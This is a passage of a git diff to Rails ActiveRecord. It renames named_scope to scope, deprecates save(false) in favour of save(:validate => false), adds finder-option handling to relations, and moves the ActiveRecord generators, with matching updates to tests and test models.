when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope
- attribute.in(value)
+ values = value.to_a
+ values.any? ? attribute.in(values) : attribute.eq(nil)
when Range
# TODO : Arel should handle ranges with excluded end.
if value.exclude_end?
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
index a248c72715..d5b13c6100 100644
--- a/activerecord/lib/active_record/relation/spawn_methods.rb
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -1,7 +1,7 @@
module ActiveRecord
module SpawnMethods
def spawn(arel_table = self.table)
- relation = Relation.new(@klass, arel_table)
+ relation = self.class.new(@klass, arel_table)
(Relation::ASSOCIATION_METHODS + Relation::MULTI_VALUE_METHODS).each do |query_method|
relation.send(:"#{query_method}_values=", send(:"#{query_method}_values"))
@@ -15,9 +15,10 @@ module ActiveRecord
end
def merge(r)
- raise ArgumentError, "Cannot merge a #{r.klass.name} relation with #{@klass.name} relation" if r.klass != @klass
+ merged_relation = spawn
+ return merged_relation unless r
- merged_relation = spawn.eager_load(r.eager_load_values).preload(r.preload_values).includes(r.includes_values)
+ merged_relation = merged_relation.eager_load(r.eager_load_values).preload(r.preload_values).includes(r.includes_values)
merged_relation.readonly_value = r.readonly_value unless r.readonly_value.nil?
merged_relation.limit_value = r.limit_value if r.limit_value.present?
@@ -31,7 +32,7 @@ module ActiveRecord
from(r.from_value).
having(r.having_values)
- merged_relation.order_values = Array.wrap(order_values) + Array.wrap(r.order_values)
+ merged_relation.order_values = r.order_values if r.order_values.present?
merged_relation.create_with_value = @create_with_value
@@ -59,7 +60,7 @@ module ActiveRecord
alias :& :merge
def except(*skips)
- result = Relation.new(@klass, table)
+ result = self.class.new(@klass, table)
(Relation::ASSOCIATION_METHODS + Relation::MULTI_VALUE_METHODS).each do |method|
result.send(:"#{method}_values=", send(:"#{method}_values")) unless skips.include?(method)
@@ -73,7 +74,7 @@ module ActiveRecord
end
def only(*onlies)
- result = Relation.new(@klass, table)
+ result = self.class.new(@klass, table)
onlies.each do |only|
if (Relation::ASSOCIATION_METHODS + Relation::MULTI_VALUE_METHODS).include?(only)
@@ -88,5 +89,31 @@ module ActiveRecord
result
end
+ VALID_FIND_OPTIONS = [ :conditions, :include, :joins, :limit, :offset,
+ :order, :select, :readonly, :group, :having, :from, :lock ]
+
+ def apply_finder_options(options)
+ relation = spawn
+ return relation unless options
+
+ options.assert_valid_keys(VALID_FIND_OPTIONS)
+
+ relation = relation.joins(options[:joins]).
+ where(options[:conditions]).
+ select(options[:select]).
+ group(options[:group]).
+ having(options[:having]).
+ order(options[:order]).
+ limit(options[:limit]).
+ offset(options[:offset]).
+ from(options[:from]).
+ includes(options[:include])
+
+ relation = relation.lock(options[:lock]) if options[:lock].present?
+ relation = relation.readonly(options[:readonly]) if options.has_key?(:readonly)
+
+ relation
+ end
+
end
end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index 4f8ccdd40e..cf0fe8934d 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -192,8 +192,8 @@ module ActiveRecord
with_transaction_returning_status(:destroy_without_transactions)
end
- def save_with_transactions(perform_validation = true) #:nodoc:
- rollback_active_record_state! { with_transaction_returning_status(:save_without_transactions, perform_validation) }
+ def save_with_transactions(*args) #:nodoc:
+ rollback_active_record_state! { with_transaction_returning_status(:save_without_transactions, *args) }
end
def save_with_transactions! #:nodoc:
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index d5adcba3ba..a9743aa1ea 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -42,7 +42,17 @@ module ActiveRecord
module InstanceMethods
# The validation process on save can be skipped by passing false. The regular Base#save method is
# replaced with this when the validations module is mixed in, which it is by default.
- def save_with_validation(perform_validation = true)
+ def save_with_validation(options=nil)
+ perform_validation = case options
+ when NilClass
+ true
+ when Hash
+ options[:validate] != false
+ else
+ ActiveSupport::Deprecation.warn "save(#{options}) is deprecated, please give save(:validate => #{options}) instead", caller
+ options
+ end
+
if perform_validation && valid? || !perform_validation
save_without_validation
else
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index 4ff851dfa1..e28808df98 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -12,7 +12,7 @@ module ActiveRecord
def validate_each(record, attribute, value)
finder_class = find_finder_class_for(record)
- table = finder_class.active_relation
+ table = finder_class.unscoped
table_name = record.class.quoted_table_name
sql, params = mount_sql_and_params(finder_class, table_name, attribute, value)
diff --git a/railties/lib/rails/generators/active_record.rb b/activerecord/lib/generators/active_record.rb
index c62f75c384..25b982f296 100644
--- a/railties/lib/rails/generators/active_record.rb
+++ b/activerecord/lib/generators/active_record.rb
@@ -8,6 +8,14 @@ module ActiveRecord
class Base < Rails::Generators::NamedBase #:nodoc:
include Rails::Generators::Migration
+ def self.source_root
+ @_ar_source_root ||= begin
+ if base_name && generator_name
+ File.expand_path(File.join(base_name, generator_name, 'templates'), File.dirname(__FILE__))
+ end
+ end
+ end
+
protected
# Implement the required interface for Rails::Generators::Migration.
#
diff --git a/railties/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/generators/active_record/migration/migration_generator.rb
index f6159deeeb..7939977f72 100644
--- a/railties/lib/rails/generators/active_record/migration/migration_generator.rb
+++ b/activerecord/lib/generators/active_record/migration/migration_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/active_record'
+require 'generators/active_record'
module ActiveRecord
module Generators
diff --git a/railties/lib/rails/generators/active_record/migration/templates/migration.rb b/activerecord/lib/generators/active_record/migration/templates/migration.rb
index bbb7c53d86..bbb7c53d86 100644
--- a/railties/lib/rails/generators/active_record/migration/templates/migration.rb
+++ b/activerecord/lib/generators/active_record/migration/templates/migration.rb
diff --git a/railties/lib/rails/generators/active_record/model/model_generator.rb b/activerecord/lib/generators/active_record/model/model_generator.rb
index 3e72fbeca8..2641083e0d 100644
--- a/railties/lib/rails/generators/active_record/model/model_generator.rb
+++ b/activerecord/lib/generators/active_record/model/model_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/active_record'
+require 'generators/active_record'
module ActiveRecord
module Generators
diff --git a/railties/lib/rails/generators/active_record/model/templates/migration.rb b/activerecord/lib/generators/active_record/model/templates/migration.rb
index 1f68487304..1f68487304 100644
--- a/railties/lib/rails/generators/active_record/model/templates/migration.rb
+++ b/activerecord/lib/generators/active_record/model/templates/migration.rb
diff --git a/railties/lib/rails/generators/active_record/model/templates/model.rb b/activerecord/lib/generators/active_record/model/templates/model.rb
index 21ae29e9f2..21ae29e9f2 100644
--- a/railties/lib/rails/generators/active_record/model/templates/model.rb
+++ b/activerecord/lib/generators/active_record/model/templates/model.rb
diff --git a/railties/lib/rails/generators/active_record/observer/observer_generator.rb b/activerecord/lib/generators/active_record/observer/observer_generator.rb
index c1c0e3f25b..a6b57423b8 100644
--- a/railties/lib/rails/generators/active_record/observer/observer_generator.rb
+++ b/activerecord/lib/generators/active_record/observer/observer_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/active_record'
+require 'generators/active_record'
module ActiveRecord
module Generators
diff --git a/railties/lib/rails/generators/active_record/observer/templates/observer.rb b/activerecord/lib/generators/active_record/observer/templates/observer.rb
index b9a3004161..b9a3004161 100644
--- a/railties/lib/rails/generators/active_record/observer/templates/observer.rb
+++ b/activerecord/lib/generators/active_record/observer/templates/observer.rb
diff --git a/railties/lib/rails/generators/active_record/session_migration/session_migration_generator.rb b/activerecord/lib/generators/active_record/session_migration/session_migration_generator.rb
index afcda2a98a..59c4792066 100644
--- a/railties/lib/rails/generators/active_record/session_migration/session_migration_generator.rb
+++ b/activerecord/lib/generators/active_record/session_migration/session_migration_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/active_record'
+require 'generators/active_record'
module ActiveRecord
module Generators
diff --git a/railties/lib/rails/generators/active_record/session_migration/templates/migration.rb b/activerecord/lib/generators/active_record/session_migration/templates/migration.rb
index 919822af7b..919822af7b 100644
--- a/railties/lib/rails/generators/active_record/session_migration/templates/migration.rb
+++ b/activerecord/lib/generators/active_record/session_migration/templates/migration.rb
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
index cc36a6dc5b..cc5460ddb7 100644
--- a/activerecord/test/cases/autosave_association_test.rb
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -805,7 +805,7 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
def test_should_still_allow_to_bypass_validations_on_the_associated_model
@pirate.catchphrase = ''
@pirate.ship.name = ''
- @pirate.save(false)
+ @pirate.save(:validate => false)
# Oracle saves empty string as NULL
if current_adapter?(:OracleAdapter)
assert_equal [nil, nil], [@pirate.reload.catchphrase, @pirate.ship.name]
@@ -820,7 +820,7 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
@pirate.catchphrase = ''
@pirate.ship.name = ''
@pirate.ship.parts.each { |part| part.name = '' }
- @pirate.save(false)
+ @pirate.save(:validate => false)
values = [@pirate.reload.catchphrase, @pirate.ship.name, *@pirate.ship.parts.map(&:name)]
# Oracle saves empty string as NULL
@@ -917,7 +917,7 @@ class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
def test_should_still_allow_to_bypass_validations_on_the_associated_model
@ship.pirate.catchphrase = ''
@ship.name = ''
- @ship.save(false)
+ @ship.save(:validate => false)
# Oracle saves empty string as NULL
if current_adapter?(:OracleAdapter)
assert_equal [nil, nil], [@ship.reload.name, @ship.pirate.catchphrase]
@@ -1029,7 +1029,7 @@ module AutosaveAssociationOnACollectionAssociationTests
@pirate.catchphrase = ''
@pirate.send(@association_name).each { |child| child.name = '' }
- assert @pirate.save(false)
+ assert @pirate.save(:validate => false)
# Oracle saves empty string as NULL
if current_adapter?(:OracleAdapter)
assert_equal [nil, nil, nil], [
@@ -1049,14 +1049,14 @@ module AutosaveAssociationOnACollectionAssociationTests
def test_should_validation_the_associated_models_on_create
assert_no_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count") do
2.times { @pirate.send(@association_name).build }
- @pirate.save(true)
+ @pirate.save
end
end
def test_should_allow_to_bypass_validations_on_the_associated_models_on_create
assert_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count", +2) do
2.times { @pirate.send(@association_name).build }
- @pirate.save(false)
+ @pirate.save(:validate => false)
end
end
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index aea6aed8d9..1441b4278d 100755
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -1865,7 +1865,9 @@ class BasicsTest < ActiveRecord::TestCase
end
assert scoped_developers.include?(developers(:poor_jamis))
assert scoped_developers.include?(developers(:david))
- assert scoped_developers.include?(developers(:dev_10))
+ assert ! scoped_developers.include?(developers(:jamis))
+ assert_equal 3, scoped_developers.size
+
# Test without scoped find conditions to ensure we get the right thing
developers = Developer.find(:all, :order => 'id', :limit => 1)
assert scoped_developers.include?(developers(:david))
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index bd2d471fc7..c3b2e56387 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -246,23 +246,6 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 8, c['Jadedpixel']
end
- def test_should_reject_invalid_options
- assert_nothing_raised do
- # empty options are valid
- Company.send(:validate_calculation_options)
- # these options are valid for all calculations
- [:select, :conditions, :joins, :order, :group, :having, :distinct].each do |opt|
- Company.send(:validate_calculation_options, opt => true)
- end
-
- # :include is only valid on :count
- Company.send(:validate_calculation_options, :include => true)
- end
-
- assert_raise(ArgumentError) { Company.send(:validate_calculation_options, :sum, :foo => :bar) }
- assert_raise(ArgumentError) { Company.send(:validate_calculation_options, :count, :foo => :bar) }
- end
-
def test_should_count_selected_field_with_include
assert_equal 6, Account.count(:distinct => true, :include => :firm)
assert_equal 4, Account.count(:distinct => true, :include => :firm, :select => :credit_limit)
diff --git a/activerecord/test/cases/method_scoping_test.rb b/activerecord/test/cases/method_scoping_test.rb
index 26aa3ed8d5..7ca5b5a988 100644
--- a/activerecord/test/cases/method_scoping_test.rb
+++ b/activerecord/test/cases/method_scoping_test.rb
@@ -608,7 +608,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
def test_default_scoping_with_threads
2.times do
- Thread.new { assert_equal 'salary DESC', DeveloperOrderedBySalary.scoped.send(:order_clause) }.join
+ Thread.new { assert_equal ['salary DESC'], DeveloperOrderedBySalary.scoped.order_values }.join
end
end
@@ -618,28 +618,28 @@ class DefaultScopingTest < ActiveRecord::TestCase
klass.send :default_scope, {}
# Scopes added on children should append to parent scope
- assert klass.scoped.send(:order_clause).blank?
+ assert klass.scoped.order_values.blank?
# Parent should still have the original scope
- assert_equal 'salary DESC', DeveloperOrderedBySalary.scoped.send(:order_clause)
+ assert_equal ['salary DESC'], DeveloperOrderedBySalary.scoped.order_values
end
def test_method_scope
- expected = Developer.find(:all, :order => 'name DESC, salary DESC').collect { |dev| dev.salary }
+ expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.salary }
received = DeveloperOrderedBySalary.all_ordered_by_name.collect { |dev| dev.salary }
assert_equal expected, received
end
def test_nested_scope
- expected = Developer.find(:all, :order => 'name DESC, salary DESC').collect { |dev| dev.salary }
+ expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.salary }
received = DeveloperOrderedBySalary.send(:with_scope, :find => { :order => 'name DESC'}) do
DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
end
assert_equal expected, received
end
- def test_named_scope_order_appended_to_default_scope_order
- expected = Developer.find(:all, :order => 'name DESC, salary DESC').collect { |dev| dev.name }
+ def test_named_scope_overwrites_default
+ expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.name }
received = DeveloperOrderedBySalary.by_name.find(:all).collect { |dev| dev.name }
assert_equal expected, received
end
diff --git a/activerecord/test/cases/named_scope_test.rb b/activerecord/test/cases/named_scope_test.rb
index 5d9232bc52..3e2bd58f9a 100644
--- a/activerecord/test/cases/named_scope_test.rb
+++ b/activerecord/test/cases/named_scope_test.rb
@@ -31,7 +31,7 @@ class NamedScopeTest < ActiveRecord::TestCase
def test_reload_expires_cache_of_found_items
all_posts = Topic.base
- all_posts.inspect
+ all_posts.all
new_post = Topic.create!
assert !all_posts.include?(new_post)
@@ -48,14 +48,14 @@ class NamedScopeTest < ActiveRecord::TestCase
end
def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
- assert Topic.approved.respond_to?(:proxy_found)
+ assert Topic.approved.respond_to?(:limit)
assert Topic.approved.respond_to?(:count)
assert Topic.approved.respond_to?(:length)
end
def test_respond_to_respects_include_private_parameter
- assert !Topic.approved.respond_to?(:load_found)
- assert Topic.approved.respond_to?(:load_found, true)
+ assert !Topic.approved.respond_to?(:with_create_scope)
+ assert Topic.approved.respond_to?(:with_create_scope, true)
end
def test_subclasses_inherit_scopes
@@ -150,13 +150,13 @@ class NamedScopeTest < ActiveRecord::TestCase
end
def test_named_scopes_honor_current_scopes_from_when_defined
- assert !Post.ranked_by_comments.limit(5).empty?
- assert !authors(:david).posts.ranked_by_comments.limit(5).empty?
- assert_not_equal Post.ranked_by_comments.limit(5), authors(:david).posts.ranked_by_comments.limit(5)
+ assert !Post.ranked_by_comments.limit_by(5).empty?
+ assert !authors(:david).posts.ranked_by_comments.limit_by(5).empty?
+ assert_not_equal Post.ranked_by_comments.limit_by(5), authors(:david).posts.ranked_by_comments.limit_by(5)
assert_not_equal Post.top(5), authors(:david).posts.top(5)
# Oracle sometimes sorts differently if WHERE condition is changed
- assert_equal authors(:david).posts.ranked_by_comments.limit(5).sort_by(&:id), authors(:david).posts.top(5).sort_by(&:id)
- assert_equal Post.ranked_by_comments.limit(5), Post.top(5)
+ assert_equal authors(:david).posts.ranked_by_comments.limit_by(5).to_a.sort_by(&:id), authors(:david).posts.top(5).to_a.sort_by(&:id)
+ assert_equal Post.ranked_by_comments.limit_by(5), Post.top(5)
end
def test_active_records_have_scope_named__all__
@@ -171,11 +171,6 @@ class NamedScopeTest < ActiveRecord::TestCase
assert_equal Topic.find(:all, scope), Topic.scoped(scope)
end
- def test_proxy_options
- expected_proxy_options = { :conditions => { :approved => true } }
- assert_equal expected_proxy_options, Topic.approved.proxy_options
- end
-
def test_first_and_last_should_support_find_options
assert_equal Topic.base.first(:order => 'title'), Topic.base.find(:first, :order => 'title')
assert_equal Topic.base.last(:order => 'title'), Topic.base.find(:last, :order => 'title')
@@ -297,7 +292,7 @@ class NamedScopeTest < ActiveRecord::TestCase
end
def test_find_all_should_behave_like_select
- assert_equal Topic.base.select(&:approved), Topic.base.find_all(&:approved)
+ assert_equal Topic.base.to_a.select(&:approved), Topic.base.to_a.find_all(&:approved)
end
def test_rand_should_select_a_random_object_from_proxy
@@ -345,14 +340,14 @@ class NamedScopeTest < ActiveRecord::TestCase
def test_chaining_should_use_latest_conditions_when_searching
# Normal hash conditions
- assert_equal Topic.where(:approved => true).to_a, Topic.rejected.approved.all.to_a
- assert_equal Topic.where(:approved => false).to_a, Topic.approved.rejected.all.to_a
+ assert_equal Topic.where(:approved => true).to_a, Topic.rejected.approved.all
+ assert_equal Topic.where(:approved => false).to_a, Topic.approved.rejected.all
# Nested hash conditions with same keys
- assert_equal [posts(:sti_comments)], Post.with_special_comments.with_very_special_comments.all.to_a
+ assert_equal [posts(:sti_comments)], Post.with_special_comments.with_very_special_comments.all
# Nested hash conditions with different keys
- assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).all.to_a.uniq
+ assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).all.uniq
end
def test_named_scopes_batch_finders
@@ -374,6 +369,16 @@ class NamedScopeTest < ActiveRecord::TestCase
Comment.for_first_post.for_first_author.all
end
end
+
+ def test_named_scopes_with_reserved_names
+ [:where, :with_scope].each do |protected_method|
+ assert_raises(ArgumentError) { Topic.scope protected_method }
+ end
+ end
+
+ def test_deprecated_named_scope_method
+ assert_deprecated('named_scope has been deprecated') { Topic.named_scope :deprecated_named_scope }
+ end
end
class DynamicScopeMatchTest < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index 195889f1df..d34c9b4895 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -68,10 +68,12 @@ class RelationTest < ActiveRecord::TestCase
assert topics.loaded?
- topics.reload
- assert ! topics.loaded?
+ original_size = topics.to_a.size
+ Topic.create! :title => 'fake'
- assert_queries(1) { topics.to_a }
+ assert_queries(1) { topics.reload }
+ assert_equal original_size + 1, topics.size
+ assert topics.loaded?
end
def test_finding_with_conditions
@@ -337,6 +339,11 @@ class RelationTest < ActiveRecord::TestCase
assert_raises(ActiveRecord::RecordNotFound) { authors.find(['42', 43]) }
end
+ def test_find_in_empty_array
+ authors = Author.scoped.where(:id => [])
+ assert authors.all.blank?
+ end
+
def test_exists
davids = Author.where(:name => 'David')
assert davids.exists?
@@ -418,10 +425,6 @@ class RelationTest < ActiveRecord::TestCase
end
end
- def test_invalid_merge
- assert_raises(ArgumentError) { Post.scoped & Developer.scoped }
- end
-
def test_count
posts = Post.scoped
diff --git a/activerecord/test/cases/schema_definitions_test.rb b/activerecord/test/cases/schema_definitions_test.rb
deleted file mode 100644
index d90a95cf58..0000000000
--- a/activerecord/test/cases/schema_definitions_test.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require "cases/helper"
-
-class SchemaDefinitionsTest < ActiveRecord::TestCase
-
- REGRESSION_SAMPLES = %w{000249 125014 003912 256051 524287}
-
- test 'fast_string_to_time converts properly' do
- converted = ActiveRecord::ConnectionAdapters::Column.send('fast_string_to_time', "2010-01-12 12:34:56.000249")
- assert_equal Time.mktime(2010, 01, 12, 12, 34, 56, 249), converted
- end
-
- test 'fallback_string_to_time converts properly' do
- converted = ActiveRecord::ConnectionAdapters::Column.send('fallback_string_to_time', "2010-01-12 12:34:56.000249")
- assert_equal Time.mktime(2010, 01, 12, 12, 34, 56, 249), converted
- end
-
- test 'fallback_string_to_time converts properly with no microseconds' do
- converted = ActiveRecord::ConnectionAdapters::Column.send('fallback_string_to_time', "2010-01-12 12:34:56")
- assert_equal Time.mktime(2010, 01, 12, 12, 34, 56, 0), converted
- end
-
- test "fast_string_to_time can handle problematic microseconds" do
- REGRESSION_SAMPLES.each do |u|
- converted = ActiveRecord::ConnectionAdapters::Column.send('fast_string_to_time', "2010-01-12 12:34:56.#{u}")
- assert_equal u.to_i, converted.usec
- end
- end
-
- test "microseconds can handle problematic microseconds" do
- REGRESSION_SAMPLES.each do |u|
- i = u.to_i
- converted = ActiveRecord::ConnectionAdapters::Column.send('microseconds', {:sec_fraction => Rational(i, 1_000_000)})
- assert_equal i, converted
-
- converted = ActiveRecord::ConnectionAdapters::Column.send('microseconds', {:sec_fraction => Rational(i, 1_000_000)})
- assert_equal i, converted
- end
- end
-
- test 'fast constant is equally restrictive' do
- assert_match ActiveRecord::ConnectionAdapters::Column::Format::NEW_ISO_DATETIME, "2010-01-12 12:34:56.555493"
- end
-end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 3a1d5ae212..5aac0229cd 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -19,7 +19,7 @@ end
class DeprecatedPerson < ActiveRecord::Base
set_table_name 'people'
- protected
+ private
def validate
errors[:name] << "always invalid"
@@ -124,7 +124,15 @@ class ValidationsTest < ActiveRecord::TestCase
def test_create_without_validation
reply = WrongReply.new
assert !reply.save
- assert reply.save(false)
+ assert reply.save(:validate => false)
+ end
+
+ def test_deprecated_create_without_validation
+ reply = WrongReply.new
+ assert !reply.save
+ assert_deprecated do
+ assert reply.save(false)
+ end
end
def test_create_without_validation_bang
@@ -153,4 +161,21 @@ class ValidationsTest < ActiveRecord::TestCase
topic = Topic.create("author_name" => "Dan Brown")
assert_equal "Dan Brown", topic["author_name"]
end
+
+ def test_validate_is_deprecated_on_create
+ p = DeprecatedPerson.new
+ assert_deprecated do
+ assert !p.valid?
+ end
+ assert_equal ["always invalid", "invalid on create"], p.errors[:name]
+ end
+
+ def test_validate_is_deprecated_on_update
+ p = DeprecatedPerson.new(:first_name => "David")
+ assert p.save(:validate => false)
+ assert_deprecated do
+ assert !p.valid?
+ end
+ assert_equal ["always invalid", "invalid on update"], p.errors[:name]
+ end
end
diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb
index 399dea9f12..a8a99f6dce 100644
--- a/activerecord/test/models/comment.rb
+++ b/activerecord/test/models/comment.rb
@@ -1,7 +1,7 @@
class Comment < ActiveRecord::Base
- named_scope :containing_the_letter_e, :conditions => "comments.body LIKE '%e%'"
- named_scope :for_first_post, :conditions => { :post_id => 1 }
- named_scope :for_first_author,
+ scope :containing_the_letter_e, :conditions => "comments.body LIKE '%e%'"
+ scope :for_first_post, :conditions => { :post_id => 1 }
+ scope :for_first_author,
:joins => :post,
:conditions => { "posts.author_id" => 1 }
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index 7e93fda1eb..df5fd10b6b 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -45,7 +45,7 @@ class Firm < Company
has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
has_many :dependent_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :destroy
has_many :exclusively_dependent_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all
- has_many :limited_clients, :class_name => "Client", :order => "id", :limit => 1
+ has_many :limited_clients, :class_name => "Client", :limit => 1
has_many :clients_like_ms, :conditions => "name = 'Microsoft'", :class_name => "Client", :order => "id"
has_many :clients_with_interpolated_conditions, :class_name => "Client", :conditions => 'rating > #{rating}'
has_many :clients_like_ms_with_hash_conditions, :conditions => { :name => 'Microsoft' }, :class_name => "Client", :order => "id"
@@ -91,10 +91,8 @@ class Firm < Company
end
class DependentFirm < Company
- # added order by id as in fixtures there are two accounts for Rails Core
- # Oracle tests were failing because of that as the second fixture was selected
- has_one :account, :foreign_key => "firm_id", :dependent => :nullify, :order => "id"
- has_many :companies, :foreign_key => 'client_of', :order => "id", :dependent => :nullify
+ has_one :account, :foreign_key => "firm_id", :dependent => :nullify
+ has_many :companies, :foreign_key => 'client_of', :dependent => :nullify
end
class Client < Company
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index 058970336b..e7a1e110d7 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -43,7 +43,7 @@ class Developer < ActiveRecord::Base
has_many :audit_logs
- named_scope :jamises, :conditions => {:name => 'Jamis'}
+ scope :jamises, :conditions => {:name => 'Jamis'}
validates_inclusion_of :salary, :in => 50000..200000
validates_length_of :name, :within => 3..20
@@ -81,7 +81,7 @@ end
class DeveloperOrderedBySalary < ActiveRecord::Base
self.table_name = 'developers'
default_scope :order => 'salary DESC'
- named_scope :by_name, :order => 'name DESC'
+ scope :by_name, :order => 'name DESC'
def self.all_ordered_by_name
with_scope(:find => { :order => 'name DESC' }) do
diff --git a/activerecord/test/models/organization.rb b/activerecord/test/models/organization.rb
index c85726169e..1da342a0bd 100644
--- a/activerecord/test/models/organization.rb
+++ b/activerecord/test/models/organization.rb
@@ -2,5 +2,5 @@ class Organization < ActiveRecord::Base
has_many :member_details
has_many :members, :through => :member_details
- named_scope :clubs, { :from => 'clubs' }
+ scope :clubs, { :from => 'clubs' }
end \ No newline at end of file
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index 57fa6418f1..2a73b1ee01 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -12,6 +12,6 @@ class Person < ActiveRecord::Base
has_many :agents, :class_name => 'Person', :foreign_key => 'primary_contact_id'
belongs_to :number1_fan, :class_name => 'Person'
- named_scope :males, :conditions => { :gender => 'M' }
- named_scope :females, :conditions => { :gender => 'F' }
+ scope :males, :conditions => { :gender => 'M' }
+ scope :females, :conditions => { :gender => 'F' }
end
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index 7392515ec7..f48b35486c 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -1,8 +1,8 @@
class Post < ActiveRecord::Base
- named_scope :containing_the_letter_a, :conditions => "body LIKE '%a%'"
- named_scope :ranked_by_comments, :order => "comments_count DESC"
- named_scope :limit, lambda {|limit| {:limit => limit} }
- named_scope :with_authors_at_address, lambda { |address| {
+ scope :containing_the_letter_a, where("body LIKE '%a%'")
+ scope :ranked_by_comments, order("comments_count DESC")
+ scope :limit_by, lambda {|l| limit(l) }
+ scope :with_authors_at_address, lambda { |address| {
:conditions => [ 'authors.author_address_id = ?', address.id ],
:joins => 'JOIN authors ON authors.id = posts.author_id'
}
@@ -19,13 +19,13 @@ class Post < ActiveRecord::Base
has_one :last_comment, :class_name => 'Comment', :order => 'id desc'
- named_scope :with_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'SpecialComment'} }
- named_scope :with_very_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'VerySpecialComment'} }
- named_scope :with_post, lambda {|post_id|
+ scope :with_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'SpecialComment'} }
+ scope :with_very_special_comments, joins(:comments).where(:comments => {:type => 'VerySpecialComment'})
+ scope :with_post, lambda {|post_id|
{ :joins => :comments, :conditions => {:comments => {:post_id => post_id} } }
}
- has_many :comments, :order => "body" do
+ has_many :comments do
def find_most_recent
find(:first, :order => "id DESC")
end
@@ -73,7 +73,7 @@ class Post < ActiveRecord::Base
has_many :impatient_people, :through => :skimmers, :source => :person
def self.top(limit)
- ranked_by_comments.limit(limit)
+ ranked_by_comments.limit_by(limit)
end
def self.reset_log
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
index f1ba45b528..264a49b465 100644
--- a/activerecord/test/models/reply.rb
+++ b/activerecord/test/models/reply.rb
@@ -1,7 +1,7 @@
require 'models/topic'
class Reply < Topic
- named_scope :base
+ scope :base
belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true
belongs_to :topic_with_primary_key, :class_name => "Topic", :primary_key => "title", :foreign_key => "parent_title", :counter_cache => "replies_count"
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index baca4972cb..91fc7c9416 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -1,19 +1,19 @@
class Topic < ActiveRecord::Base
- named_scope :base
- named_scope :written_before, lambda { |time|
+ scope :base
+ scope :written_before, lambda { |time|
if time
{ :conditions => ['written_on < ?', time] }
end
}
- named_scope :approved, :conditions => {:approved => true}
- named_scope :rejected, :conditions => {:approved => false}
+ scope :approved, :conditions => {:approved => true}
+ scope :rejected, :conditions => {:approved => false}
- named_scope :by_lifo, :conditions => {:author_name => 'lifo'}
+ scope :by_lifo, :conditions => {:author_name => 'lifo'}
- named_scope :approved_as_hash_condition, :conditions => {:topics => {:approved => true}}
- named_scope 'approved_as_string', :conditions => {:approved => true}
- named_scope :replied, :conditions => ['replies_count > 0']
- named_scope :anonymous_extension do
